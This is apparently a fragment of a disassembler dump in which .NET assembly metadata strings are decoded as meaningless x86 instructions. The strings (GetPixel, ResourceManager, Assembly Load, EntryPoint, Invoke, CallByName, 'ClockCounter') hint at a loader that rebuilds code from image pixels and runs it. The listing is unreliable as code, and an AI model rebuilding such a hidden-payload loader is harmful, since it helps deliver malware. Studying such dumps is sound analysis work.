414144:	72 6b                	jb     0x4141b1
414146:	41                   	inc    %ecx
414147:	74 74                	je     0x4141bd
414149:	72 69                	jb     0x4141b4
41414b:	62 75 74             	bound  %esi,0x74(%ebp)
41414e:	65 00 43 6f          	add    %al,%gs:0x6f(%ebx)
414152:	6d                   	insl   (%dx),%es:(%edi)
414153:	56                   	push   %esi
414154:	69 73 69 62 6c 65 41 	imul   $0x41656c62,0x69(%ebx),%esi
41415b:	74 74                	je     0x4141d1
41415d:	72 69                	jb     0x4141c8
41415f:	62 75 74             	bound  %esi,0x74(%ebp)
414162:	65 00 53 79          	add    %dl,%gs:0x79(%ebx)
414166:	73 74                	jae    0x4141dc
414168:	65 6d                	gs insl (%dx),%es:(%edi)
41416a:	2e 52                	cs push %edx
41416c:	75 6e                	jne    0x4141dc
41416e:	74 69                	je     0x4141d9
414170:	6d                   	insl   (%dx),%es:(%edi)
414171:	65 2e 49             	gs cs dec %ecx
414174:	6e                   	outsb  %ds:(%esi),(%dx)
414175:	74 65                	je     0x4141dc
414177:	72 6f                	jb     0x4141e8
414179:	70 53                	jo     0x4141ce
41417b:	65 72 76             	gs jb  0x4141f4
41417e:	69 63 65 73 00 47 75 	imul   $0x75470073,0x65(%ebx),%esp
414185:	69 64 41 74 74 72 69 	imul   $0x62697274,0x74(%ecx,%eax,2),%esp
41418c:	62
41418d:	75 74                	jne    0x414203
41418f:	65 00 41 73          	add    %al,%gs:0x73(%ecx)
414193:	73 65                	jae    0x4141fa
414195:	6d                   	insl   (%dx),%es:(%edi)
414196:	62 6c 79 46          	bound  %ebp,0x46(%ecx,%edi,2)
41419a:	69 6c 65 56 65 72 73 	imul   $0x69737265,0x56(%ebp,%eiz,2),%ebp
4141a1:	69
4141a2:	6f                   	outsl  %ds:(%esi),(%dx)
4141a3:	6e                   	outsb  %ds:(%esi),(%dx)
4141a4:	41                   	inc    %ecx
4141a5:	74 74                	je     0x41421b
4141a7:	72 69                	jb     0x414212
4141a9:	62 75 74             	bound  %esi,0x74(%ebp)
4141ac:	65 00 42 79          	add    %al,%gs:0x79(%edx)
4141b0:	74 65                	je     0x414217
4141b2:	00 41 72             	add    %al,0x72(%ecx)
4141b5:	72 61                	jb     0x414218
4141b7:	79 00                	jns    0x4141b9
4141b9:	43                   	inc    %ebx
4141ba:	6f                   	outsl  %ds:(%esi),(%dx)
4141bb:	70 79                	jo     0x414236
4141bd:	00 47 65             	add    %al,0x65(%edi)
4141c0:	74 50                	je     0x414212
4141c2:	69 78 65 6c 00 43 6f 	imul   $0x6f43006c,0x65(%eax),%edi
4141c9:	6c                   	insb   (%dx),%es:(%edi)
4141ca:	6f                   	outsl  %ds:(%esi),(%dx)
4141cb:	72 00                	jb     0x4141cd
4141cd:	46                   	inc    %esi
4141ce:	72 6f                	jb     0x41423f
4141d0:	6d                   	insl   (%dx),%es:(%edi)
4141d1:	41                   	inc    %ecx
4141d2:	72 67                	jb     0x41423b
4141d4:	62 00                	bound  %eax,(%eax)
4141d6:	6f                   	outsl  %ds:(%esi),(%dx)
4141d7:	70 5f                	jo     0x414238
4141d9:	49                   	dec    %ecx
4141da:	6e                   	outsb  %ds:(%esi),(%dx)
4141db:	65 71 75             	gs jno 0x414253
4141de:	61                   	popa
4141df:	6c                   	insb   (%dx),%es:(%edi)
4141e0:	69 74 79 00 67 65 74 	imul   $0x5f746567,0x0(%ecx,%edi,2),%esi
4141e7:	5f
4141e8:	52                   	push   %edx
4141e9:	00 67 65             	add    %ah,0x65(%edi)
4141ec:	74 5f                	je     0x41424d
4141ee:	47                   	inc    %edi
4141ef:	00 67 65             	add    %ah,0x65(%edi)
4141f2:	74 5f                	je     0x414253
4141f4:	42                   	inc    %edx
4141f5:	00 4c 69 73          	add    %cl,0x73(%ecx,%ebp,2)
4141f9:	74 60                	je     0x41425b
4141fb:	31 00                	xor    %eax,(%eax)
4141fd:	53                   	push   %ebx
4141fe:	79 73                	jns    0x414273
414200:	74 65                	je     0x414267
414202:	6d                   	insl   (%dx),%es:(%edi)
414203:	2e 43                	cs inc %ebx
414205:	6f                   	outsl  %ds:(%esi),(%dx)
414206:	6c                   	insb   (%dx),%es:(%edi)
414207:	6c                   	insb   (%dx),%es:(%edi)
414208:	65 63 74 69 6f       	arpl   %esi,%gs:0x6f(%ecx,%ebp,2)
41420d:	6e                   	outsb  %ds:(%esi),(%dx)
41420e:	73 2e                	jae    0x41423e
414210:	47                   	inc    %edi
414211:	65 6e                	outsb  %gs:(%esi),(%dx)
414213:	65 72 69             	gs jb  0x41427f
414216:	63 00                	arpl   %eax,(%eax)
414218:	41                   	inc    %ecx
414219:	64 64 52             	fs fs push %edx
41421c:	61                   	popa
41421d:	6e                   	outsb  %ds:(%esi),(%dx)
41421e:	67 65 00 49 45       	add    %cl,%gs:0x45(%bx,%di)
414223:	6e                   	outsb  %ds:(%esi),(%dx)
414224:	75 6d                	jne    0x414293
414226:	65 72 61             	gs jb  0x41428a
414229:	62 6c 65 60          	bound  %ebp,0x60(%ebp,%eiz,2)
41422d:	31 00                	xor    %eax,(%eax)
41422f:	54                   	push   %esp
414230:	6f                   	outsl  %ds:(%esi),(%dx)
414231:	41                   	inc    %ecx
414232:	72 72                	jb     0x4142a6
414234:	61                   	popa
414235:	79 00                	jns    0x414237
414237:	49                   	dec    %ecx
414238:	6d                   	insl   (%dx),%es:(%edi)
414239:	61                   	popa
41423a:	67 65 00 67 65       	add    %ah,%gs:0x65(%bx)
41423f:	74 5f                	je     0x4142a0
414241:	57                   	push   %edi
414242:	69 64 74 68 00 67 65 	imul   $0x74656700,0x68(%esp,%esi,2),%esp
414249:	74
41424a:	5f                   	pop    %edi
41424b:	48                   	dec    %eax
41424c:	65 69 67 68 74 00 53 	imul   $0x74530074,%gs:0x68(%edi),%esp
414253:	74
414254:	72 69                	jb     0x4142bf
414256:	6e                   	outsb  %ds:(%esi),(%dx)
414257:	67 00 43 6f          	add    %al,0x6f(%bp,%di)
41425b:	6e                   	outsb  %ds:(%esi),(%dx)
41425c:	63 61 74             	arpl   %esp,0x74(%ecx)
41425f:	00 41 73             	add    %al,0x73(%ecx)
414262:	73 65                	jae    0x4142c9
414264:	6d                   	insl   (%dx),%es:(%edi)
414265:	62 6c 79 00          	bound  %ebp,0x0(%ecx,%edi,2)
414269:	47                   	inc    %edi
41426a:	65 74 45             	gs je  0x4142b2
41426d:	6e                   	outsb  %ds:(%esi),(%dx)
41426e:	74 72                	je     0x4142e2
414270:	79 41                	jns    0x4142b3
414272:	73 73                	jae    0x4142e7
414274:	65 6d                	gs insl (%dx),%es:(%edi)
414276:	62 6c 79 00          	bound  %ebp,0x0(%ecx,%edi,2)
41427a:	52                   	push   %edx
41427b:	65 73 6f             	gs jae 0x4142ed
41427e:	75 72                	jne    0x4142f2
414280:	63 65 4d             	arpl   %esp,0x4d(%ebp)
414283:	61                   	popa
414284:	6e                   	outsb  %ds:(%esi),(%dx)
414285:	61                   	popa
414286:	67 65 72 00          	addr16 gs jb 0x41428a
41428a:	53                   	push   %ebx
41428b:	79 73                	jns    0x414300
41428d:	74 65                	je     0x4142f4
41428f:	6d                   	insl   (%dx),%es:(%edi)
414290:	2e 52                	cs push %edx
414292:	65 73 6f             	gs jae 0x414304
414295:	75 72                	jne    0x414309
414297:	63 65 73             	arpl   %esp,0x73(%ebp)
41429a:	00 47 65             	add    %al,0x65(%edi)
41429d:	74 4f                	je     0x4142ee
41429f:	62 6a 65             	bound  %ebp,0x65(%edx)
4142a2:	63 74 00 4d          	arpl   %esi,0x4d(%eax,%eax,1)
4142a6:	69 63 72 6f 73 6f 66 	imul   $0x666f736f,0x72(%ebx),%esp
4142ad:	74 2e                	je     0x4142dd
4142af:	56                   	push   %esi
4142b0:	69 73 75 61 6c 42 61 	imul   $0x61426c61,0x75(%ebx),%esi
4142b7:	73 69                	jae    0x414322
4142b9:	63 00                	arpl   %eax,(%eax)
4142bb:	49                   	dec    %ecx
4142bc:	6e                   	outsb  %ds:(%esi),(%dx)
4142bd:	74 65                	je     0x414324
4142bf:	72 61                	jb     0x414322
4142c1:	63 74 69 6f          	arpl   %esi,0x6f(%ecx,%ebp,2)
4142c5:	6e                   	outsb  %ds:(%esi),(%dx)
4142c6:	00 43 61             	add    %al,0x61(%ebx)
4142c9:	6c                   	insb   (%dx),%es:(%edi)
4142ca:	6c                   	insb   (%dx),%es:(%edi)
4142cb:	42                   	inc    %edx
4142cc:	79 4e                	jns    0x41431c
4142ce:	61                   	popa
4142cf:	6d                   	insl   (%dx),%es:(%edi)
4142d0:	65 00 43 61          	add    %al,%gs:0x61(%ebx)
4142d4:	6c                   	insb   (%dx),%es:(%edi)
4142d5:	6c                   	insb   (%dx),%es:(%edi)
4142d6:	54                   	push   %esp
4142d7:	79 70                	jns    0x414349
4142d9:	65 00 49 6e          	add    %cl,%gs:0x6e(%ecx)
4142dd:	74 33                	je     0x414312
4142df:	32 00                	xor    (%eax),%al
4142e1:	50                   	push   %eax
4142e2:	72 6f                	jb     0x414353
4142e4:	6a 65                	push   $0x65
4142e6:	63 74 44 61          	arpl   %esi,0x61(%esp,%eax,2)
4142ea:	74 61                	je     0x41434d
4142ec:	00 4d 69             	add    %cl,0x69(%ebp)
4142ef:	63 72 6f             	arpl   %esi,0x6f(%edx)
4142f2:	73 6f                	jae    0x414363
4142f4:	66 74 2e             	data16 je 0x414325
4142f7:	56                   	push   %esi
4142f8:	69 73 75 61 6c 42 61 	imul   $0x61426c61,0x75(%ebx),%esi
4142ff:	73 69                	jae    0x41436a
414301:	63 2e                	arpl   %ebp,(%esi)
414303:	43                   	inc    %ebx
414304:	6f                   	outsl  %ds:(%esi),(%dx)
414305:	6d                   	insl   (%dx),%es:(%edi)
414306:	70 69                	jo     0x414371
414308:	6c                   	insb   (%dx),%es:(%edi)
414309:	65 72 53             	gs jb  0x41435f
41430c:	65 72 76             	gs jb  0x414385
41430f:	69 63 65 73 00 45 6e 	imul   $0x6e450073,0x65(%ebx),%esp
414316:	64 41                	fs inc %ecx
414318:	70 70                	jo     0x41438a
41431a:	00 54 68 72          	add    %dl,0x72(%eax,%ebp,2)
41431e:	65 61                	gs popa
414320:	64 00 53 79          	add    %dl,%fs:0x79(%ebx)
414324:	73 74                	jae    0x41439a
414326:	65 6d                	gs insl (%dx),%es:(%edi)
414328:	2e 54                	cs push %esp
41432a:	68 72 65 61 64       	push   $0x64616572
41432f:	69 6e 67 00 53 6c 65 	imul   $0x656c5300,0x67(%esi),%ebp
414336:	65 70 00             	gs jo  0x414339
414339:	41                   	inc    %ecx
41433a:	70 70                	jo     0x4143ac
41433c:	44                   	inc    %esp
41433d:	6f                   	outsl  %ds:(%esi),(%dx)
41433e:	6d                   	insl   (%dx),%es:(%edi)
41433f:	61                   	popa
414340:	69 6e 00 67 65 74 5f 	imul   $0x5f746567,0x0(%esi),%ebp
414347:	43                   	inc    %ebx
414348:	75 72                	jne    0x4143bc
41434a:	72 65                	jb     0x4143b1
41434c:	6e                   	outsb  %ds:(%esi),(%dx)
41434d:	74 44                	je     0x414393
41434f:	6f                   	outsl  %ds:(%esi),(%dx)
414350:	6d                   	insl   (%dx),%es:(%edi)
414351:	61                   	popa
414352:	69 6e 00 00 2b 2e 00 	imul   $0x2e2b00,0x0(%esi),%ebp
414359:	50                   	push   %eax
41435a:	00 72 00             	add    %dh,0x0(%edx)
41435d:	6f                   	outsl  %ds:(%esi),(%dx)
41435e:	00 70 00             	add    %dh,0x0(%eax)
414361:	65 00 72 00          	add    %dh,%gs:0x0(%edx)
414365:	74 00                	je     0x414367
414367:	69 00 65 00 73 00    	imul   $0x730065,(%eax),%eax
41436d:	2e 00 52 00          	add    %dl,%cs:0x0(%edx)
414371:	65 00 73 00          	add    %dh,%gs:0x0(%ebx)
414375:	6f                   	outsl  %ds:(%esi),(%dx)
414376:	00 75 00             	add    %dh,0x0(%ebp)
414379:	72 00                	jb     0x41437b
41437b:	63 00                	arpl   %eax,(%eax)
41437d:	65 00 73 00          	add    %dh,%gs:0x0(%ebx)
414381:	00 09                	add    %cl,(%ecx)
414383:	4c                   	dec    %esp
414384:	00 6f 00             	add    %ch,0x0(%edi)
414387:	61                   	popa
414388:	00 64 00 00          	add    %ah,0x0(%eax,%eax,1)
41438c:	15 45 00 6e 00       	adc    $0x6e0045,%eax
414391:	74 00                	je     0x414393
414393:	72 00                	jb     0x414395
414395:	79 00                	jns    0x414397
414397:	50                   	push   %eax
414398:	00 6f 00             	add    %ch,0x0(%edi)
41439b:	69 00 6e 00 74 00    	imul   $0x74006e,(%eax),%eax
4143a1:	00 0d 49 00 6e 00    	add    %cl,0x6e0049
4143a7:	76 00                	jbe    0x4143a9
4143a9:	6f                   	outsl  %ds:(%esi),(%dx)
4143aa:	00 6b 00             	add    %ch,0x0(%ebx)
4143ad:	65 00 00             	add    %al,%gs:(%eax)
4143b0:	00 1e                	add    %bl,(%esi)
4143b2:	7f 7f                	jg     0x414433
4143b4:	b2 36                	mov    $0x36,%dl
4143b6:	b0 98                	mov    $0x98,%al
4143b8:	43                   	inc    %ebx
4143b9:	9c                   	pushf
4143ba:	be cd 24 ad 2a       	mov    $0x2aad24cd,%esi
4143bf:	f0 4d                	lock dec %ebp
4143c1:	00 08                	add    %cl,(%eax)
4143c3:	b7 7a                	mov    $0x7a,%bh
4143c5:	5c                   	pop    %esp
4143c6:	56                   	push   %esi
4143c7:	19 34 e0             	sbb    %esi,(%eax,%eiz,8)
4143ca:	89 06                	mov    %eax,(%esi)
4143cc:	00 01                	add    %al,(%ecx)
4143ce:	1d 05 1d 05 08       	sbb    $0x8051d05,%eax
4143d3:	b0 3f                	mov    $0x3f,%al
4143d5:	5f                   	pop    %edi
4143d6:	7f 11                	jg     0x4143e9
4143d8:	d5 0a                	aad    $0xa
4143da:	3a 06                	cmp    (%esi),%al
4143dc:	00 01                	add    %al,(%ecx)
4143de:	1d 05 12 0d 06       	sbb    $0x60d1205,%eax
4143e3:	00 02                	add    %al,(%edx)
4143e5:	12 0d 0e 0e 05 00    	adc    0x50e0e,%cl
4143eb:	02 01                	add    (%ecx),%al
4143ed:	0e                   	push   %cs
4143ee:	0e                   	push   %cs
4143ef:	03 20                	add    (%eax),%esp
4143f1:	00 01                	add    %al,(%ecx)
4143f3:	04 20                	add    $0x20,%al
4143f5:	01 01                	add    %eax,(%ecx)
4143f7:	0e                   	push   %cs
4143f8:	04 20                	add    $0x20,%al
4143fa:	01 01                	add    %eax,(%ecx)
4143fc:	08 08                	or     %cl,(%eax)
4143fe:	01 00                	add    %eax,(%eax)
414400:	08 00                	or     %al,(%eax)
414402:	00 00                	add    %al,(%eax)
414404:	00 00                	add    %al,(%eax)
414406:	1e                   	push   %ds
414407:	01 00                	add    %eax,(%eax)
414409:	01 00                	add    %eax,(%eax)
41440b:	54                   	push   %esp
41440c:	02 16                	add    (%esi),%dl
41440e:	57                   	push   %edi
41440f:	72 61                	jb     0x414472
414411:	70 4e                	jo     0x414461
414413:	6f                   	outsl  %ds:(%esi),(%dx)
414414:	6e                   	outsb  %ds:(%esi),(%dx)
414415:	45                   	inc    %ebp
414416:	78 63                	js     0x41447b
414418:	65 70 74             	gs jo  0x41448f
41441b:	69 6f 6e 54 68 72 6f 	imul   $0x6f726854,0x6e(%edi),%ebp
414422:	77 73                	ja     0x414497
414424:	01 05 20 01 01 11    	add    %eax,0x11010120
41442a:	1d 08 01 00 07       	sbb    $0x7000108,%eax
41442f:	01 00                	add    %eax,(%eax)
414431:	00 00                	add    %al,(%eax)
414433:	00 11                	add    %dl,(%ecx)
414435:	01 00                	add    %eax,(%eax)
414437:	0c 43                	or     $0x43,%al
414439:	6c                   	insb   (%dx),%es:(%edi)
41443a:	6f                   	outsl  %ds:(%esi),(%dx)
41443b:	63 6b 43             	arpl   %ebp,0x43(%ebx)
41443e:	6f                   	outsl  %ds:(%esi),(%dx)
41443f:	75 6e                	jne    0x4144af
414441:	74 65                	je     0x4144a8
414443:	72 00                	jb     0x414445
414445:	00 05 01 00 00 00    	add    %al,0x1
41444b:	00 17                	add    %dl,(%edi)
41444d:	01 00                	add    %eax,(%eax)
41444f:	12 43 6f             	adc    0x6f(%ebx),%al
414452:	70 79                	jo     0x4144cd
414454:	72 69                	jb     0x4144bf
414456:	67 68 74 20 c2 a9    	addr16 push $0xa9c22074
41445c:	20 20                	and    %ah,(%eax)
41445e:	32 30                	xor    (%eax),%dh
414460:	32 30                	xor    (%eax),%dh
414462:	00 00                	add    %al,(%eax)
414464:	04 20                	add    $0x20,%al
414466:	01 01                	add    %eax,(%ecx)
414468:	02 29                	add    (%ecx),%ch
41446a:	01 00                	add    %eax,(%eax)